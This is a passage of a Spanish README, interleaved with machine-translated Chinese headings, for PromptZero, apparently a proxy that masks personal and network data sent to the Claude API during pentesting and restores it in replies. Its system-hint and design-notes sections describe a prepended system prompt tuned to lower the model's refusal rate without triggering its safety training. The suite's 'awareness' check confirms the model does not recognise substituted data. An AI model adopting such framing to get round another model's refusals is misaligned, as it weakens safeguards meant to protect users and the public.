ANTHROPIC_API_KEY=sk-ant-... \ ghcr.io/openbashok/promptzero:latest # 在 http://localhost:8000 上监听 ``` Variantes comunes: ``` # 传递完整的 .env 文件(包含 ANTHROPIC_API_KEY + UPSTREAM_PROXY + …) docker run -p 8000:8000 --env-file .env ghcr.io/openbashok/promptzero # 通过主机上运行的 Burp 路由上游流量(macOS / Windows) docker run -p 8000:8000 --env-file .env \ -e UPSTREAM_PROXY=http://host.docker.internal:8080 \ -e UPSTREAM_VERIFY=false \ ghcr.io/openbashok/promptzero ``` O buildea local si preferís: ``` git clone https://github.com/openbashok/promptzero && cd promptzero docker build -t promptzero . # modelos 'lg', ~1.5 GB docker build --build-arg SPACY_SIZE=sm -t promptzero:slim . # ~300 MB ``` ### 选项 B — 本地安装 Útil si querés hackear el proxy o preferís dejar el venv en tu host. ``` git clone https://github.com/openbashok/promptzero cd promptzero ./setup.sh # venv + deps + modelos spaCy en+es (~1 GB) cp .env.example .env # poner ANTHROPIC_API_KEY=sk-ant-... python main.py # escuchando en http://localhost:8000 ``` `./setup.sh` baja los modelos `lg` por default. Variantes: `./setup.sh medium` (~40 MB), `./setup.sh small` (~12 MB), o `./setup.sh en-only` si solo procesás inglés. Después, en tu app: ``` import anthropic client = anthropic.Anthropic( api_key="tu-api-key", base_url="http://localhost:8000", # ← único cambio ) ``` ## 用法 ### Python SDK ``` import anthropic client = anthropic.Anthropic(base_url="http://localhost:8000", api_key="…") msg = client.messages.create( model="claude-opus-4-6", max_tokens=1024, messages=[{"role": "user", "content": "Analizá el log: cliente Juan García (juan@empresa.com) " "se conectó desde 192.168.1.45 a db.prod.empresa.com" }], extra_headers={"x-session-id": "sesion-1"}, # ← mantiene mappings consistentes ) # → Claude 的响应中已恢复真实值。 ``` ### curl ``` curl -X POST http://localhost:8000/v1/messages \ -H "x-api-key: $ANTHROPIC_API_KEY" \ -H "anthropic-version: 2023-06-01" \ -H "content-type: application/json" \ -d '{ "model": "claude-opus-4-6", "max_tokens": 1024, "messages": [{"role":"user","content":"…tu prompt con datos sensibles…"}] }' ``` ### 管理端点 ``` GET /health # estado + upstream + flag inject_system_hint GET /stats # contadores acumulados desde startup GET /sessions/{session_id}/mappings # tabla real↔ficticio (debug) GET /sessions/{session_id}/audit # request sanitizado + response desanitizado # — prueba de no-leak. Requiere DEBUG_AUDIT=1. DELETE /sessions/{session_id} # resetea la tabla (y el audit log) de la sesión ``` Para métricas acumuladas en vivo: ``` watch -n 1 'curl -s localhost:8000/stats | jq' ``` Te tira algo así, actualizándose cada segundo: ``` { "uptime_seconds": 142.3, "requests": { "total": 7, "messages": 5, "passthrough": 1, "errors": 0 }, "bytes": { "sanitized_in": 12480, "desanitized_out": 28350 }, "pii_spans": { "total_unique": 47, "by_kind": { "person": 8, "org": 5, "ipv4": 14, "hostname": 9, "email": 6, "national_id_ar_dni": 3, "phone": 2 } } } ``` del proxy imprime **una línea coloreada por request** mostrando exactamente lo que se sanitizó, útil para verificar en tiempo real qué datos sensibles se enmascararon en cada turno cuando corrés Claude Code (o cualquier cliente) al lado: ``` [trace] POST /v1/messages session=poc-pent +4 spans (total 4: 1 phone, 1 email, 1 ipv4, 1 url) in= 197B out= 494B 200 2012ms [trace] POST /v1/messages session=poc-pent +3 spans (total 7: 2 ipv4, 1 person, 1 hostname) in= 185B out= 697B 200 1273ms [trace] GET /v1/models (passthrough, no sanitization) 200 367ms ``` ## 与 Claude Code CLI 结合使用 El proxy es drop-in para `api.anthropic.com`. Para que Claude Code vaya por PromptZero: ``` # 终端 1 — PromptZero 正在运行 python main.py # 终端 2 — Claude Code 指向代理 export ANTHROPIC_BASE_URL=http://localhost:8000 claude # 您输入的每个提示在到达 Claude 前都会被净化, # 响应在到达您的终端前会被反匿名化。 ``` El proxy maneja toda la superficie de la API: | Ruta | Comportamiento | |---|---| | `POST /v1/messages` | Sanitizado → forward. Response desanitizado. Streaming OK. | | `POST /v1/messages/count_tokens` | Sanitizado para que el conteo refleje el prompt real enviado. | | Cualquier otra `/v1/*` | Forward sin tocar (`models`, `organizations`, `files`, `batches`, …) | ## 使用 Burp Suite 检查上游流量 No te quedes con nuestra palabra — ruteá la conexión upstream (PromptZero → `api.anthropic.com`) a través de Burp y auditá cada byte vos mismo. ``` # 在 .env 中: UPSTREAM_PROXY=http://127.0.0.1:8080 UPSTREAM_CA_BUNDLE=/Users/vos/burp-ca.pem # opción recomendada # 或,用于快速演示(不安全): # UPSTREAM_VERIFY=false ``` Pasos: 1. Exportá el CA de Burp como PEM: `Burp → Proxy → Settings → Import/export CA → PEM` 2. Habilitá el listener de Burp en `127.0.0.1:8080` 3. Editá `.env` con las variables de arriba, reiniciá `python main.py` 4. `curl localhost:8000/health` → tiene que mostrar el `upstream_proxy` activo 5. Ejecutá tu cliente (Claude Code, `demo_html.py`, lo que sea) 6. Mirá en Burp **Proxy → HTTP history**: cada request a `api.anthropic.com` muestra el body **sanitizado**. Filtrá por valores reales (`nexabank`, tu IP) → **vacío**. Esa es la prueba. ``` ┌─────────┐ HTTP ┌────────────┐ HTTPS ┌──────────┐ HTTPS ┌─────────────────┐ │ Claude │────────▶│ PromptZero │─────────▶│ Burp │────────▶│ api.anthropic │ │ CLI │ claro │ :8000 │ TLS │ :8080 │ TLS │ .com │ └─────────┘ │ sanitiza │ │ MITM │ └─────────────────┘ │ desanitiza │ │ inspect │ └────────────┘ └──────────┘ ``` ## 包含的示例 ### 概念验证 5 datasets ficticios (datos personales, engagement de pentest completo con HTTP req/res + payloads, catálogo de inyecciones, incident response, chat de soporte) + tres scripts de demo: ``` cd examples/poc # 独立演示(不调用 Claude)——原始/净化/反净化 python demo_local.py python demo_local.py data/01_personal_records.json # 可视化 HTML 报告——并排面板带颜色编码,悬停链接映射。 python demo_html.py --open python demo_html.py --with-claude --task triage \ --dataset data/04_incident_response.json --out ir.html --open # 真实端到端测试 Claude API(代理必须正在运行) python demo_claude.py python demo_claude.py --dataset data/04_incident_response.json --task triage # Burp 诊断——5 个步骤,清晰的 PASS/FAIL 结果 python diagnose_upstream.py ``` ### 文档摘要 ``` cd examples/document_summary python summarize.py contrato.pdf --lang es python summarize.py incident_report.docx --mode executive --lang es ``` ### 渗透测试报告生成器 ``` cd examples/pentest_report python report.py findings.json # reporte técnico completo python report.py findings.json --mode executive --lang es --out ejecutivo.md python report.py findings.json --mode remediation --out fixes.md python report.py findings.json --protect "P@ssw0rd1" "Verano2024!" # mascarar passwords cortas ``` ## 保持 Claude 参与(系统提示) Como cada hostname redactado queda como `*.example.com`, Claude puede reconocer la sustitución como referencia a la documentación de IANA (RFC 2606) y rehusarse con *"example.com está reservado para documentación — ¿a qué te referías?"*. Para evitarlo, PromptZero **prepende un bloque `system`** a cada `/v1/messages` que describe la convención en términos técnicos y neutrales: El framing es deliberado: nada de *"authorized engagement"*, ni *"you must comply"*, ni la palabra *"placeholder"* — esas frases o disparan paranoia del safety training o el modelo las repite y el check de awareness fallaría. Describir el mecanismo en lenguaje técnico, sí. Lo controlás con una env var (default **on**): ``` INJECT_SYSTEM_HINT=1 # default — agrega el hint de redacción INJECT_SYSTEM_HINT=0 # off — útil para benchmark o si tu cliente # ya inyecta su propio system ``` `GET /health` reporta el valor activo: ``` { "status": "ok", "inject_system_hint": true, … } ``` Ver [Notas de diseño](#notas-de-diseño--por-qué-examplecom--system-hint) para el razonamiento completo de por qué llegamos a esta combinación. ## 渗透测试模式(禁用 NER PERSON / ORG) Después de validar contra targets reales medimos de dónde vienen los false positives. La distribución es asimétrica: | Capa de detección | Bugs encontrados en este repo | Por qué | |---|---|---| | Regex (IPv4, IPv6, hostnames, emails, tokens, credenciales, IDs nacionales) | ~5, todos cerrados con tweaks de pattern | Patrones estrictos: o el shape matchea o no | | NER **PERSON / ORGANIZATION** | 15+ recurrentes (`Banner`, `ACLs`, `However`, `Investigate whether`, `Direct IP-based scanning…`, `Network`, `Attempt`, …) | spaCy fue entrenado con prosa periodística / web; el vocabulario pentest (gobuster, ffuf, ACLs, Reconnaissance, …) no está en su corpus, así que cada palabra capitalizada al inicio de bullet point puede dispararse como PERSON/ORG | Para workflows de pentest el input es mayormente output de herramientas (`nmap`, `gobuster`, `sqlmap`, Burp HTTP history) y código — contenido donde detectar PERSON/ORG aporta ~0 valor real de privacidad y 100% del ruido de FPs. El proxy expone un switch para descartar esas dos clases: ``` DETECT_PERSON_ORG=1 # default — pipeline NER completo DETECT_PERSON_ORG=0 # modo pentest — drop PERSON / ORG, todo lo demás sigue ``` Qué sigue funcionando con el flag en off: IPv4, IPv6, hostnames, URLs, host:port, emails, IDs nacionales (AR/CL/ES/UY/CO/MX), tarjetas de crédito, IBAN, SSN, teléfonos, API tokens, credenciales key-aware. Qué deja de detectarse: nombres de personas / organizaciones en narrativa libre. `GET /health` reporta el valor activo: ``` { "status": "ok", "detect_person_org": false, … } ``` Cuándo usar cada modo: - **`DETECT_PERSON_ORG=1`** (default) — incident reports, document summaries, chats de soporte, cualquier cosa escrita por humanos donde querés redactar nombres de auditor / contacto / cliente. - **`DETECT_PERSON_ORG=0`** — Claude Code apuntando al proxy para engagements de pentest activo, triage de logs, code review sobre shell output, herramientas automatizadas que producen texto técnico estructurado. ## 集成测试套件 `examples/poc/integration_test.py` ejecuta llamadas reales a Claude contra el proxy y chequea cuatro invariantes por escenario — útil como regression runner después de cualquier cambio al sanitizer, y como sanity check antes de meterte en un engagement real: | Check | Qué verifica | |---|---| | **L** leak | Ningún valor real esperado aparece en el payload upstream que recibió Anthropic | | **N** ner-recall | Todos los valores reales esperados están en la tabla de mapping de la sesión | | **R** round-trip | Ningún fake quedó en el reply desanonimizado (toda sustitución fue revertida) | | **A** awareness | El modelo no marca la data como test / placeholder / fictional | Trae 6 escenarios listos (pentest report single-turn, log triage, transformation resistance, JSON payload, code review, más un escenario multi-turn de 3 turnos para re-sanitización del historial): ``` # 使用 DEBUG_AUDIT=1 启动代理,以便运行程序可以读取 /audit DEBUG_AUDIT=1 python main.py # 在另一个终端中 python examples/poc/integration_test.py \ --proxy http://127.0.0.1:8000 \ --model claude-haiku-4-5 ``` El output es PASS/FAIL por escenario más un punch-list de checks fallados — la suite cazó cuatro bugs reales mientras la construíamos (truncado de URLs por Presidio, leak de passwords cortas, colisión del pool de fakes IPv6, falsos positivos de hostname sobre identificadores de Python) antes de que ninguno llegara a producción. ## 设计说明——为什么使用 `example.com` + 系统提示? Razonamiento detrás de las decisiones de sustitución, por si querés forkear o ajustar el proxy para otra familia de LLM u otro modelo de riesgo. Iteramos tres estrategias distintas de fake-domain, cada una con un trade-off diferente. **1. Fakes con sabor a loopback (versiones tempranas: `127.0.0.x` / `*.localhost` / `userNNN@fakecorp.local`).** El round-trip funcionaba pero cambiaba silenciosamente el razonamiento de Claude: hallazgos de exposición externa quedaban enmarcados como "servicio interno / loopback, criticidad menor". Para un reporte de pentest esto significa que el modelo **downgradea la severidad** sin avisarte. Descartado. **2. Dominios reales-plausibles (ej. `acme-corp.io`, `nexabank.com`).** Dos fallas: - El modelo reconoce la marca de su corpus de entrenamiento y aplica conocimiento del mundo real ("Nexabank usa Spring Boot, así que…") contaminando el análisis con hechos alucinados sobre una empresa real. - Nombres como *Acme Corp*, *Globex*, *Initech*, *Umbrella Tech* son EXACTAMENTE los placeholders que Claude usa cuando **inventa** ejemplos ficticios en su propia narrativa. El modelo los escribe sin que se los hayamos enviado; el desanitizer entonces los mapea a lo que sea que viva en la tabla de sesión (a menudo un falso positivo de NLP como `Credential → Bob Calloway`) y corrompe el output visible al usuario. **3. Rangos reservados de IANA para documentación (actual).** RFC 5737 (`198.51.100.0/24`, `203.0.113.0/24`), RFC 3849 (`2001:db8::/32`), RFC 2606 (`example.com`). Claude los tiene en su corpus de entrenamiento **como placeholders**, así que no pulleea hechos del mundo real sobre ellos y no aplica semántica de loopback ni de interno-solamente. Los pools de nombres (`Soren Brännström`, `Nordhaven Holdings`, …) son invenciones europeas deliberadamente poco comunes que Claude **no** emite espontáneamente al escribir ejemplos. El trade-off: con `*.example.com` el modelo a veces reconoce la sustitución y pregunta *"example.com está reservado para documentación — ¿a qué te referías?"*. Ahí entra el **[system hint](#mantener-a-claude-enganchado-system-hint)**: un bloque corto, neutral, técnico, prependido a cada request, que explica el mecanismo de redacción y le indica al modelo que opere con la misma profundidad que un ejercicio de seguridad sancionado. Defusea el reconocimiento sin sonar a jailbreak — probamos framings con *"authorized engagement"*, *"you must comply"*, *"real pentest"*, y todos aumentaron la tasa de refusal porque pegan directo contra el safety pattern. Describir el mecanismo, no. Si tu use case **no** es pentesting — por ejemplo, generar contenido de training donde el framing de lab ayuda — desactivá el hint con `INJECT_SYSTEM_HINT=0`. La sustitución sigue siendo idéntica. ## 关于 OpenBash **PromptZero** es un proyecto de [OpenBash.com](https://openbash.com) — una comunidad construida **de pentesters para pentesters**. Construimos herramientas de seguridad open source para que la comunidad pueda trabajar mejor, mantenerse protegida y conservar sus datos sensibles donde corresponde: en casa. Si esta herramienta te sirve, compartila. Si encontrás un bug, abrí un issue. Si la mejorás, mandá un PR. *Made with ♥ by the OpenBash community*
标签:AI安全, API代理, Chat Copilot, Claude API, DLL 劫持, meg, PII保护, Python, 代理服务, 信息安全, 匿名化, 大语言模型, 敏感数据处理, 数据脱敏, 无后门, 网络安全, 网络安全, 请求拦截, 逆向工具, 隐私保护, 隐私保护, 零信任架构